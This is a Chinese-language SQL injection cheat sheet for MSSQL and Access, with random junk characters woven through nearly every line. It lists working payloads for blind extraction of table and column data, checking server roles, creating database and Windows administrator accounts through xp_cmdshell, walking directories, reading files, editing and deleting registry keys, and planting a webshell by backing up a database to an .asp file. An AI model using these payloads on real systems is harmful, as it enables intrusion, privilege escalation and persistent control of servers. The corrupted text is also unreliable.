1.判断是否有注入;and 1=1 ;and 1=2 2#^g] o-N
2.初步判断是否是mssql ;and user>0 0?/gEr
)~R[aXkvY
3.注入参数是字符'and [查询条件] and ''=' Cx/J_Ro#
FI?J8a
4.搜索时没过滤参数的'and [查询条件] and '%25'=' c;X,-Q9
(2>q
5.判断数据库系统 <
B]qqqP
&QfEDDJ
;and (select count(*) from sysobjects)>0 mssql jxkQ #Y
&uO-h
;and (select count(*) from msysobjects)>0 access h~9P34m
9m2FH~
w*/@|r39
E%D .a=UX,
6.猜数据库 ;and (select Count(*) from [数据库名])>0 |k*bWuXgLs
0ElEaH1z
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -`\^_nVC
G93V=Bk=
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 YQHpW>z
a5ZXrWv
9.(1)猜字段的ascii值(access) ?uL-qsU
x X3I`
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Q[NoFZ
V!
Ym\<@[3+!
(2)猜字段的ascii值(mssql) !\1)?&y9j
jR[c3EA
;
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 2>k*9kyp
25vjn 1$sW
10.测试权限结构(mssql) 985h]KQ
v .C
"PRHQW
zw+wq+2"
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Hqs-q4G$
gAztdAsLM
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- P,)D0i
q|]CA
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _wb]tE ~g
l\V1c90m
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 'R-\6;3E>9
-o"b$[sf=Z
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- WUz69o be
0vSPeZ
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- }1k?t h
5&EBUl}
;and 1=(select IS_MEMBER('db_owner'));-- 3$YbEl@#
+VW8{=$
jG{?>^
08^f|K
11.添加mssql和系统的帐户 Lm`-q(!7w
rBQ<5.
;exec master.dbo.sp_addlogin username;-- U@yhFj_y
;exec master.dbo.sp_password null,username,password;-- nF]R"
VvP: }yJ
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- VUUnB<j
<v'[Wl@hq
;exec master.dbo.xp_cmdshell 'net user username password nZ'jj S[!
Nk\ni>Du3
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- H#YI7l2
/"A=Yf
;exec master.dbo.xp_cmdshell 'net user username password /add';-- BI,]pf;GWv
9RJ#zUK
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- T}Wbt=\M
u
e
dg#Pb@7a
#Ox@[Z1I
12.(1)遍历目录 r7_%t_O|IL
$X Uck[
;create table dirs(paths varchar(100), id int) \Q}Y"oq
U.~G{H`G,u
;insert dirs exec master.dbo.xp_dirtree 'c:\' FywX
u5rvrn ]
;and (select top 1 paths from dirs)>0 DN=W2MEfc
=kwz3Wv
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) w$iPFZC'
:qj^RcmVPL
# =y)Wuo=
ESoC7d&.K{
(2)遍历目录 tx<^PV2
hVB(*WA^D
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7@gH{p1
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Q wG_-
(fl$$$
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 )mN/e+/Lu
n>eDN\5
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 @,,G]4zZ!
xWY\,'+Q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 kGnT4R*E
q#8\BOTP |
L |#0CRiN
zq$L[X
13.mssql中的存储过程 uc"%uc'
Ue;Z)}
xp_regenumvalues 注册表根键, 子键 }L|B@fW
G+2fmVB*X
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 lAo ~w
7O|`\&RYR
xp_regread 根键,子键,键值名 Q
-$)
H;,
f &NX~(
;exec xp_regread X)RgXl{
j`@`M*)GB
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 q!U$\Q&
.UX4p
=
xp_regwrite 根键,子键, 值名, 值类型, 值 kUGFg{"
GL9'dL|
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 R%2.N!8v
7>MG8pf3a
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
2o[ceEg
W)f=\.7
xp_regdeletevalue 根键,子键,值名 NM:$Q<n
j7w9H/XF}
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 n;=FD;}j+
l*wGKg"x3
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 I<<1mEk
*K?UWi#$
L;?h)8
E+<GsN]
14.mssql的backup创建webshell M/[_~
~AaEa,LQ
use model ?ZC!E0]
Ug0c0z!b
create table cmd(str image); ,{(XT7hr
V,& OO
insert into cmd(str) values (''); e#}Fm;|d
Qp:m=f6@
backup database model to disk='c:\l.asp'; / s Apj
rrgOp5aV"
fXnewPr=#
ps` j>vX*
15.mssql内置函数 :,qvqh][
/L(}VJg-
;and (select @@version)>0 获得Windows的版本号 4|cRYZj5
g#6R(
;and user_name()='dbo' 判断当前系统的连接用户是不是sa *6u2c%^
znWB.H
;and (select user_name())>0 爆当前系统的连接用户 TT3GGHR
\BfMCA/
;and (select db_name())>0 得到当前连接的数据库 +CSv@ />3
F}[!OYyg
B9
?58v&
x_-V{
k
16.简洁的webshell )@Y<
<9'2
mb3aUFxA;
use model 2PeMt^
!^NZp%Yd
create table cmd(str image); &F7_0iAP(
=)jo}MB
insert into cmd(str) values (''); d+]= l+&
QH7 GEj]
backup database model to disk='g:\wwwtest\l.asp';